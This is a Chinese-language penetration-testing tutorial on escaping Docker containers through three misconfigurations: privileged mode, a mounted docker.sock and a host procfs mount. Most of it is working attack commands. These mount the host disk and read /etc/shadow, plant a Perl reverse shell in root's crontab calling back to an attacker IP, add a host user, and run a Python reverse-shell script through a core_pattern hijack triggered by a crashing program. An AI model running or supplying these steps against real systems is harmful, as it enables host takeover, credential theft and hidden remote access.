Why to study?

在实战操作遇到目标可能是由docker搭的镜像的时候,我们怎么操作都是在他创建好的容器内捣腾,想要渗透到它的真机,那就需要从他的环境中逃逸出来。本次将介绍到三种因为配置不当造成的docker逃逸

检测是否在docker环境下

判断

  • cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

特权模式

检测

在docker命令中,docker组内的用户因为添加了“--privileged=true”命令,导致开启了特权模式,这是可乘之机

例如:

  • docker run --rm --privileged=true -it 容器名

我们可以使用以下命令检测到他,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

  • cat /proc/self/status | grep CapEff

流程

将真机磁盘挂载到docker内部,然后可以选择使用反弹shell到攻击机,反弹过来的权限是root,或者再创建一个用户,用他的信息可以登录到真机

查看磁盘

  • fdisk -l

挂载磁盘,在test目录下就可以看到真机的文件

  • mkdir /test && mount /dev/sda1 /test

访问/etc/shadow可以看到密码

  • cat /test/etc/shadow

使用定时任务反弹shell到攻击机

echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root

或者创建一个用户供自己登陆

mount /dev/sda1 /mnt
chroot /mnt adduser john

挂载docker socket

检测

在docker命令中,docker组内的用户因为挂载了“/var/run/docker.sock”,让其存在漏洞

  • docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock 容器名

我们可以使用以下命令检测到他,敲入后会看到会有这个文件,否则无

  • ls -lah /var/run/docker.sock

流程

在容器中再安装一个docker,然后把容器文件挂载在容器的容器中

安装docker有很多路径可以选择,这里不赘述,使用以下命令可以挂载

  • docker run -it -v /:/host 容器名 /bin/bash

在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录

  • chroot /host

挂载pocfs

检测

在docker命令中,docker组内的用户因为挂载了“/proc”,让其存在漏洞

  • docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

  • find / -name core_pattern

流程

通过反弹shell到攻击机

找到当前容器在宿主机下的绝对路径

  • cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

安装 vim 和 gcc,创建一个反弹 Shell 的 py 脚本,给 Shell 赋予执行权限

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()

写入反弹 shell 到目标的 proc 目录下,加粗部分为绝对路径

echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

vim t.c
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}
gcc t.c -o t
./t